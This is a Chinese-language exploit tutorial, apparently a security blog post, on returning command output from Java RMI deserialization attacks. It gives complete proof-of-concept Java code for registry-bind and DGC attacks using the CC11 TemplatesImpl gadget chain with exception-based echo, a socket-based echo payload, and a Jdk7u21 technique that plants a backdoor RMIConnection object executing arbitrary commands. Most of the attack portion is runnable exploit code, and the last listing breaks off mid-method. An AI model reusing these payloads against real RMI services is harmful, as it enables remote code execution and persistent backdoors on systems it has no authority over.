RMI 回显构造

bind 攻击回显

分析

RMI 客户端向服务端发起请求查询某个绑定的对象并调用其方法时,方法是在服务端执行然后将结果返回给客户端的,如果服务端执行的过程中出错,那么报错信息也会返回给客户端,所以利用返回报错信息的特点,将命令执行的结果通过报错信息返回,达到回显的目的

先看一个正常的,将一个对象绑定到 server 端,对其进行查询调用,这里对服务端进行 debug

发送给服务端的序列化数据,会在sun.rmi.registry.RegistryImpl_Skel#dispatch方法中进行反序列化,不过 8u141 之前无法在该方法中下断点,可在sun.rmi.registry.RegistryImpl#lookup方法中下断点,因为在RegistryImpl_Skel#dispatch反序列化后,会调用RegistryImpl类中的相关方法(bind、rebind 也是同理)

image.png

image.png

成功查询到对象,然后返回给客户端

image.png

客户端再远程调用该对象的方法,在sun.rmi.server.UnicastServerRef#dispatch方法中通过反射调用

image.png

sun.rmi.server.UnicastRef#marshalValue方法中将结果写入

image.png

sun.rmi.server.UnicastServerRef#dispatch方法的最后将结果返回给客户端

image.png

那么如果服务端在反序列化客户端发来的数据时,报错了会怎样,那么报错的信息依然会发送给客户端,在客户端查找一个注册表中不存在的名称

sun.rmi.registry.RegistryImpl#lookup方法中会抛出异常

image.png

这个异常会在sun.rmi.server.UnicastServerRef#oldDispatch方法中被捕获,然后返回给客户端

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
lookup:166, RegistryImpl (sun.rmi.registry)
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:178, Transport$1 (sun.rmi.transport)
run:175, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:174, Transport (sun.rmi.transport)
handleMessages:557, TCPTransport (sun.rmi.transport.tcp)
run0:812, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:671, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

poc

通过构造恶意的反序列化链,将命令执行的结果放在异常中并抛出,这里使用 CC11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.*;

public class AttackRMI {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("dddd");
String cmd = "Process proc = Runtime.getRuntime().exec(\"hostname\");" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));" +
" StringBuffer sb = new StringBuffer();" +
" String line;" +
" while ((line = br.readLine()) != null)" +
" {" +
" sb.append(line).append(\"\\n\");" +
" }" +
" String result = \"result: \" + sb.toString();" +
"throw new java.lang.InstantiationException(result);";

cc.makeClassInitializer().insertAfter(cmd);
String randomName = "rce" + System.nanoTime();
cc.setName(randomName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
classBytes[6] = 0;
classBytes[7] = 50;

TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl, "_bytecodes", new byte[][]{classBytes});
setFieldValue(impl, "_name", "testTemplatesImpl");
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map, impl);
HashSet hashset = new HashSet(1);
hashset.add("foo");

HashMap hashset_map = null;
try {
hashset_map = (HashMap) getFieldObject(HashSet.class, "map", hashset).get(0);
} catch (NoSuchFieldException e) {
hashset_map = (HashMap) getFieldObject(HashSet.class, "backingMap", hashset).get(0);
}

Object[] array = null;
try {
array = (Object[]) getFieldObject(HashMap.class, "table", hashset_map).get(0);
} catch (NoSuchFieldException e) {
array = (Object[]) getFieldObject(HashMap.class, "elementData", hashset_map).get(0);
}

Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedmap);

setFieldValue(transformer, "iMethodName", "newTransformer");

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Map map1 = createMap("asdffq", hashset);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, map1);

Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class}, handler));
try {
registry.bind("cmd", remote);
} catch (Exception e) {
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);

// 将错误信息输出到 PrintWriter 对象中
e.printStackTrace(pw);

// 将错误堆栈信息转换为字符串
String stackTrace = sw.toString();
String indexString = "Caused by: java.lang.InstantiationException: result: ";
int index = stackTrace.indexOf(indexString);
int end = stackTrace.lastIndexOf("at");

String exceptionDetails = stackTrace.substring(index + indexString.length(), end);

System.out.println(exceptionDetails);
}

}


public static void setFieldValue(final Object obj, final String fieldname, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldname);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static List getFieldObject(final Class<?> clazz, final String fieldName, final Object object) throws NoSuchFieldException, IllegalAccessException {
Field field = null;

field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
List<Object> list = new ArrayList<>();
list.add(field.get(object));
return list;
}

public static Map<String, Object> createMap(final String key, final Object val) {
final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map;
}
}

DGC 攻击回显

分析

这个攻击的触发点在sun.rmi.transport.DGCImpl_Skel#dispatch方法中,如果无法将断点下在该类,可以在sun.rmi.transport.DGCImpl#dirty方法中下断点

image.png

DGCImpl_Skel#dispatch方法也是在sun.rmi.server.UnicastServerRef#oldDispatch方法中被调用的,通过之前的分析可知,依然可以通过报错回显将结果返回

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
dirty:120, DGCImpl (sun.rmi.transport)
dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:178, Transport$1 (sun.rmi.transport)
run:175, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:174, Transport (sun.rmi.transport)
handleMessages:557, TCPTransport (sun.rmi.transport.tcp)
run0:812, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:671, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;

import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.Socket;
import java.util.*;

public class AttackRMI {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("dddd");
String cmd = "Process proc = Runtime.getRuntime().exec(\"hostname\");" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));" +
" StringBuffer sb = new StringBuffer();" +
" String line;" +
" while ((line = br.readLine()) != null)" +
" {" +
" sb.append(line).append(\"\\n\");" +
" }" +
" String result = \"cmdResult: \" + sb.toString() + \"cmdEnd\";" +
"throw new java.lang.InstantiationException(result);";

cc.makeClassInitializer().insertAfter(cmd);
String randomName = "rce" + System.nanoTime();
cc.setName(randomName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
classBytes[6] = 0;
classBytes[7] = 50;

TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl, "_bytecodes", new byte[][]{classBytes});
setFieldValue(impl, "_name", "testTemplatesImpl");
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map, impl);
HashSet hashset = new HashSet(1);
hashset.add("foo");

HashMap hashset_map = null;
try {
hashset_map = (HashMap) getFieldObject(HashSet.class, "map", hashset).get(0);
} catch (NoSuchFieldException e) {
hashset_map = (HashMap) getFieldObject(HashSet.class, "backingMap", hashset).get(0);
}

Object[] array = null;
try {
array = (Object[]) getFieldObject(HashMap.class, "table", hashset_map).get(0);
} catch (NoSuchFieldException e) {
array = (Object[]) getFieldObject(HashMap.class, "elementData", hashset_map).get(0);
}

Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedmap);

setFieldValue(transformer, "iMethodName", "newTransformer");



Socket s = null;
DataOutputStream dos = null;
StringBuilder output = null;
try {
s = SocketFactory.getDefault().createSocket("127.0.0.1", 1099);
s.setKeepAlive(true);
s.setTcpNoDelay(true);

OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);

dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);

dos.write(TransportConstants.Call);

@SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos);

objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);

objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);

objOut.writeObject(hashset);

os.flush();
Scanner in = new Scanner(s.getInputStream(), "UTF-8");
output = new StringBuilder();
while (in.hasNextLine()) {
String line = in.nextLine();
output.append(line).append("\n");
}
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}

String stackTrace = output.toString();
String indexString = "cmdResult: ";
int index = stackTrace.indexOf(indexString);
int end = stackTrace.lastIndexOf("cmdEnd");
if (end > (index + indexString.length())) {
String exceptionDetails = stackTrace.substring(index + indexString.length(), end);

System.out.println(exceptionDetails);
} else {
System.out.println("未获取到结果");
}
}

public static void setFieldValue(final Object obj, final String fieldname, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldname);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static List getFieldObject(final Class<?> clazz, final String fieldName, final Object object) throws NoSuchFieldException, IllegalAccessException {
Field field = null;

field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
List<Object> list = new ArrayList<>();
list.add(field.get(object));
return list;
}

public static Map<String, Object> createMap(final String key, final Object val) {
final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map;
}
}

恶意 RMI Server 回显

在 bypass JEP290 中,是通过启动一个恶意的 RMI Server ,让客户端连接这个 Server ,然后导致 rce ,那么如果可以连接的话,那就是一定会出网,可以在 payload 中添加一个 socket ,执行完命令后,将结果返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
        ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("dddd");
// CtClass cc = pool.get(Demo2.class.getName());
String cmd = "Process proc = Runtime.getRuntime().exec(\"hostname\");" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));" +
" StringBuffer sb = new StringBuffer();" +
" String line;" +
" while ((line = br.readLine()) != null)" +
" {" +
" sb.append(line).append(\"\\n\");" +
" }" +
" String result = \"cmdResult: \" + sb.toString() + \"cmdEnd\";" +
"java.net.Socket s = null;\n" +
"\n" +
" java.io.BufferedWriter bw = null;\n" +
" \n" +
" s = javax.net.SocketFactory.getDefault().createSocket(\"127.0.0.1\", 1099);\n" +
" s.setKeepAlive(true);\n" +
" s.setTcpNoDelay(true);\n" +
"\n" +
" java.io.OutputStream os = s.getOutputStream();\n" +
" bw = new java.io.BufferedWriter(new java.io.OutputStreamWriter(os));\n" +
" bw.write(result);\n" +
" bw.flush();\n" +
" if (bw != null) {\n" +
"\n" +
" bw.close();\n" +
" }\n" +
" if (s != null) {\n" +
" s.close();\n" +
" }";

cc.makeClassInitializer().insertAfter(cmd);
String randomName = "rce" + System.nanoTime();
cc.setName(randomName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();

补充

在前两种回显中都是利用了 rmi 服务端会将报错返回给客户端的特性,但是这个方法在 Jdk7u21 这条利用链中无效,因为sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl方法是这条利用链中的关键一环,而java.lang.reflect.InvocationTargetException这个异常就是由 invoke 方法抛出的,它会捕获 invoke 中抛出的一切异常,所以当命令执行的结果通过异常抛出时,会在这里捕获并返回 false ,所以通过抛出异常传递结果在这条链中行不通

image.png

如果使用 Jdk7u21 这条链,要先在被攻击的 server 上,注册绑定一个恶意的实例,因为客户端远程调用服务端绑定实例的方法时,该方法是在服务端执行的,如果方法有返回值,再将值返回。

那么就要在 JDK 中找一个直接或间接继承了java.rmi.Remote接口的接口或类,然后该类中存在一个可以传参且能返回值的方法,最好是返回 String 类型的值,这里使用javax.management.remote.rmi.RMIConnection接口,该接口的getDefaultDomain方法可以传参,且返回值为 String 类型

构造一个恶意类,通过 Jdk7u21 这条链来触发这个类,LocateRegistry.getRegistry方法中的 ip 就是被攻击的 rmi server 的 ip,所以bind 时写 127.0.0.1 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javax.management.*;
import javax.management.remote.NotificationResult;
import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.io.IOException;
import java.rmi.MarshalledObject;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.security.Principal;
import java.util.Set;

public class RMIBindService extends AbstractTranslet implements RMIConnection {

public RMIBindService() throws RemoteException {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
UnicastRemoteObject.exportObject(this, 0);
registry.rebind("MonitorService", this);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public String getConnectionId() throws IOException {
return null;
}

@Override
public void close() throws IOException {

}

@Override
public ObjectInstance createMBean(String className, ObjectName name, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, IOException {
return null;
}

@Override
public ObjectInstance createMBean(String className, ObjectName name, ObjectName loaderName, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, InstanceNotFoundException, IOException {
return null;
}

@Override
public ObjectInstance createMBean(String className, ObjectName name, MarshalledObject params, String[] signature, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, IOException {
return null;
}

@Override
public ObjectInstance createMBean(String className, ObjectName name, ObjectName loaderName, MarshalledObject params, String[] signature, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, InstanceNotFoundException, IOException {
return null;
}

@Override
public void unregisterMBean(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, MBeanRegistrationException, IOException {

}

@Override
public ObjectInstance getObjectInstance(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, IOException {
return null;
}

@Override
public Set<ObjectInstance> queryMBeans(ObjectName name, MarshalledObject query, Subject delegationSubject) throws IOException {
return null;
}

@Override
public Set<ObjectName> queryNames(ObjectName name, MarshalledObject query, Subject delegationSubject) throws IOException {
return null;
}

@Override
public boolean isRegistered(ObjectName name, Subject delegationSubject) throws IOException {
return false;
}

@Override
public Integer getMBeanCount(Subject delegationSubject) throws IOException {
return null;
}

@Override
public Object getAttribute(ObjectName name, String attribute, Subject delegationSubject) throws MBeanException, AttributeNotFoundException, InstanceNotFoundException, ReflectionException, IOException {
return null;
}

@Override
public AttributeList getAttributes(ObjectName name, String[] attributes, Subject delegationSubject) throws InstanceNotFoundException, ReflectionException, IOException {
return null;
}

@Override
public void setAttribute(ObjectName name, MarshalledObject attribute, Subject delegationSubject) throws InstanceNotFoundException, AttributeNotFoundException, InvalidAttributeValueException, MBeanException, ReflectionException, IOException {

}

@Override
public AttributeList setAttributes(ObjectName name, MarshalledObject attributes, Subject delegationSubject) throws InstanceNotFoundException, ReflectionException, IOException {
return null;
}

@Override
public Object invoke(ObjectName name, String operationName, MarshalledObject params, String[] signature, Subject delegationSubject) throws InstanceNotFoundException, MBeanException, ReflectionException, IOException {
return null;
}

@Override
public String getDefaultDomain(Subject delegationSubject) throws IOException {

Set<Principal> p = delegationSubject.getPrincipals();
String command = p.iterator().next().getName();

java.io.InputStream in = Runtime.getRuntime().exec(command).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.next();
return output;
}

@Override
public String[] getDomains(Subject delegationSubject) throws IOException {
return new String[0];
}

@Override
public MBeanInfo getMBeanInfo(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException {
return null;
}

@Override
public boolean isInstanceOf(ObjectName name, String className, Subject delegationSubject) throws InstanceNotFoundException, IOException {
return false;
}

@Override
public void addNotificationListener(ObjectName name, ObjectName listener, MarshalledObject filter, MarshalledObject handback, Subject delegationSubject) throws InstanceNotFoundException, IOException {

}

@Override
public void removeNotificationListener(ObjectName name, ObjectName listener, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

}

@Override
public void removeNotificationListener(ObjectName name, ObjectName listener, MarshalledObject filter, MarshalledObject handback, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

}

@Override
public Integer[] addNotificationListeners(ObjectName[] names, MarshalledObject[] filters, Subject[] delegationSubjects) throws InstanceNotFoundException, IOException {
return new Integer[0];
}

@Override
public void removeNotificationListeners(ObjectName name, Integer[] listenerIDs, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

}

@Override
public NotificationResult fetchNotifications(long clientSequenceNumber, int maxNotifications, long timeout) throws IOException {
return null;
}
}

然后远程调用这个实例的getDefaultDomain方法,获取命令执行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.sun.security.auth.UnixPrincipal;

import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashSet;
import java.util.Set;

public class RMIClient {
public static void main(String[] args) throws Exception {

String command = "id";
Registry registry = LocateRegistry.getRegistry("ip",port);


Subject subject = new Subject();
Field f = subject.getClass().getDeclaredField("principals");
f.setAccessible(true);
Set set = new HashSet();
UnixPrincipal unixPrincipal = new UnixPrincipal(command);
set.add(unixPrincipal);
f.set(subject, set);

System.out.println(((RMIConnection)registry.lookup("MonitorService")).getDefaultDomain(subject));

}
}

但是这样可能会遇到一个问题,通过抓包可知,调用 lookup 方法时,客户端与服务端会进行两次连接,第一次服务端会回复一个 ReturnData 消息,里面包含下次连接时的 ip 和端口,ip 还是服务端的 ip,但是这个 ip 有可能返回的是服务端的内网 ip ,那么通过外网对这个 ip 连接肯定会失败

sun.rmi.transport.ConnectionInputStream#saveRef方法中下断点,可以看到这里在存储第一次连接后获取到的 ip 和端口

image.png

ConnectionInputStream#saveRef方法是在sun.rmi.registry.RegistryImpl_Stub#lookup方法中一步步调用到的

image.png

调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
saveRef:77, ConnectionInputStream (sun.rmi.transport)
read:305, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2345, ObjectInputStream (java.io)
readOrdinaryObject:2236, ObjectInputStream (java.io)
readObject0:1692, ObjectInputStream (java.io) [2]
defaultReadFields:2454, ObjectInputStream (java.io)
readSerialData:2378, ObjectInputStream (java.io)
readOrdinaryObject:2236, ObjectInputStream (java.io)
readObject0:1692, ObjectInputStream (java.io) [1]
readObject:508, ObjectInputStream (java.io)
readObject:466, ObjectInputStream (java.io)
lookup:127, RegistryImpl_Stub (sun.rmi.registry)
main:14, RMIClient

然后继续执行,在RegistryImpl_Stub#lookup方法中

image.png

先调用到sun.rmi.transport.ConnectionInputStream#registerRefs方法,获取刚才 put 的 ip 和端口

image.png

然后在sun.rmi.transport.DGCClient.EndpointEntry#EndpointEntry方法中将其包装成 UnicastRef 实例

image.png

将其赋值给java.rmi.server.RemoteObject#ref

image.png

调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<init>:65, RemoteObject (java.rmi.server)
<init>:63, RemoteStub (java.rmi.server)
<init>:67, DGCImpl_Stub (sun.rmi.transport)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
createStub:294, Util (sun.rmi.server)
createProxy:142, Util (sun.rmi.server)
<init>:262, DGCClient$EndpointEntry (sun.rmi.transport)
lookup:241, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:159, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:175, StreamRemoteCall (sun.rmi.transport)
done:340, StreamRemoteCall (sun.rmi.transport)
done:451, UnicastRef (sun.rmi.server)
lookup:132, RegistryImpl_Stub (sun.rmi.registry)
main:14, RMIClient

然后再向获取到的 IP 和端口发起连接,远程调用方法,所以这里重新实现 lookup 方法,通过反射的方式修改 host 的值为外网 ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import com.sun.security.auth.UnixPrincipal;
import sun.rmi.transport.StreamRemoteCall;
import sun.rmi.transport.tcp.TCPEndpoint;

import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.util.*;

public class RMIClient extends RemoteObject {

private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
private RemoteRef ref = null;
private String ip = null;

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15);
}

this.ref.invoke(var2);

Remote var20;
try {
ObjectInput var4 = var2.getInputStream();
var20 = (Remote)var4.readObject();

Field f = var2.getClass().getDeclaredField("in");
f.setAccessible(true);
Object conn = f.get(var2);

f = conn.getClass().getDeclaredField("incomingRefTable");
f.setAccessible(true);

HashMap rets = (HashMap) f.get(conn);

Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();

f = entry.getKey().getClass().getDeclaredField("host");
f.setAccessible(true);
f.set(entry.getKey(), this.ip);
} catch (IOException | ClassNotFoundException | ClassCastException var13) {

throw new UnmarshalException("error unmarshalling return", var13);
} finally {
this.ref.done(var2);
}

return var20;
} catch (RuntimeException var16) {
throw var16;
} catch (RemoteException var17) {
throw var17;
} catch (NotBoundException var18) {
throw var18;
} catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19);
}
}

public static void main(String[] args) throws Exception {

String command = "id";
String ip = "ip";
Registry registry = LocateRegistry.getRegistry(ip, 1099);


Subject subject = new Subject();
Field f = subject.getClass().getDeclaredField("principals");
f.setAccessible(true);
Set set = new HashSet();
UnixPrincipal unixPrincipal = new UnixPrincipal(command);
set.add(unixPrincipal);
f.set(subject, set);

f = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
f.setAccessible(true);

RMIClient r = new RMIClient();
r.ref = (RemoteRef) f.get(registry);
r.ip = ip;

